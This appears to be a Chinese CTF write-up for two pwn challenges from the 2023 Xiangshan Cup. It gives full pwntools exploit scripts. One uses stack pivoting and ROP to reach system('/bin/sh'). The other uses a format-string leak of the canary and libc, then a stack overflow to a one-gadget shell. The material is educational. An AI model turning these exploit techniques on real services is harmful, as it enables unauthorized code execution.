news 2026/5/1 8:23:17

2023香山杯CTF

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
2023香山杯CTF

move

一眼栈溢出,然后三次栈迁移。

exp

from tools import* context(os='linux',arch='amd64',log_level='debug') p,e,libc=load("./pwn") pop_rdi=0x401353 ret=0x40101a bss=0x4050A0 leave_ret=0x40124b read=0x401230 pop_rbp=0x40119d payload=p64(pop_rbp)+p64(bss)+p64(read) p.recvuntil("lets travel again!\n") debug(p,0x40124B,0x4012D6) p.send(payload) p.recvuntil("Input your setp number") p.send('\x78\x56\x34\x12') payload=b"a"*0x26+b'bb'+p64(bss-8)*2+p64(leave_ret) p.send(payload) payload=p64(0x405070-8)+p64(pop_rdi)+p64(e.got['puts'])+p64(0x40125C )+p64(0x405070-8)+p64(read)+p64(0x405070)+p64(leave_ret) p.send(payload) libc_base=recv_libc()-0x80970 log_addr('libc_base') bin_sh=libc_base+0x1b3d88 system_addr=libc_base+0x4f420 payload=p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)+p64(0xdeadbeef)*2+p64(0x405030)+p64(leave_ret) p.sendline(payload) p.interactive()

pwthon

漏洞比较简单,就是格式化字符串,栈溢出,难的是第一次见这种题型,不知道怎么本地运行的,泄露canary查找溢出偏移都是远程完成的,直到查找libc麻瓜了,必须本地调试

这个本地调试的方法有以下几个点

1、必须是python3.7

2、使用sys.path.append("/home/zikh/Desktop/app.cpython-37m-x86_64-linux-gnu.so")去导入他给的库

3、使用gdb调试他给的库,在用attach调试进程

结合本地和远程泄露的libc地址发现libc就是我本地的环境

exp

from tools import* context.log_level = "debug" p=process(["python3.7","main.py"]) # p=remote('123.56.9.101',16674) p.sendlineafter('> ','0') p.sendline(b'%p.'*(0x20)) p.recv() data=p.recv() canary=data[-22:-4] libc_base=data[-79:-65]# log_info(canary) log_info(libc_base) canary=int(canary,16) libc_base=int(libc_base,16)-0x10fcdd log_addr('canary') log_addr('libc_base') p.sendline(b'a'*264+p64(canary)*2+p64(libc_base+0x4f2a5))​ p.interactive()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 5:06:25

跟老卫学仓颉编程语言开发:函数

函数在仓颉语言中是普遍存在的。通过之前的章节已经可以了解到仓颉函数的基本形式:main()函数是很多程序的入口点,func关键字用来声明函数。 本节将初步探讨函数,内容包括定义函数、函数参数、函数返回值等。在第11章还会对函数进行深入的讲…

作者头像 李华
网站建设 2026/4/26 22:15:28

Qt笔记-使用SSH2进行远程连接linux服务器并上传文件

知识点SSH的全称是Secure Shell,安全外壳协议,从中可以知道,其实就是套了个壳。以前说过一个过时的协议FTP。但当加上这个SSH后就变成了SFTP,简单理解就说FTP套了一个SSH。这里以SSH2开源库为例,演示了使用C Qt框架&am…

作者头像 李华
网站建设 2026/4/18 13:40:36

从0到1挖通100个漏洞后,我摸清了黑客找漏洞的底层逻辑

很多人觉得 “找漏洞” 是黑客的 “超能力”,需要精通底层代码、掌握 0day 漏洞。但我从零基础到累计挖通 100 漏洞(含 23 个高危)的经历证明:找漏洞的核心不是 “技术有多牛”,而是 “流程有多顺、细节有多细”。这篇…

作者头像 李华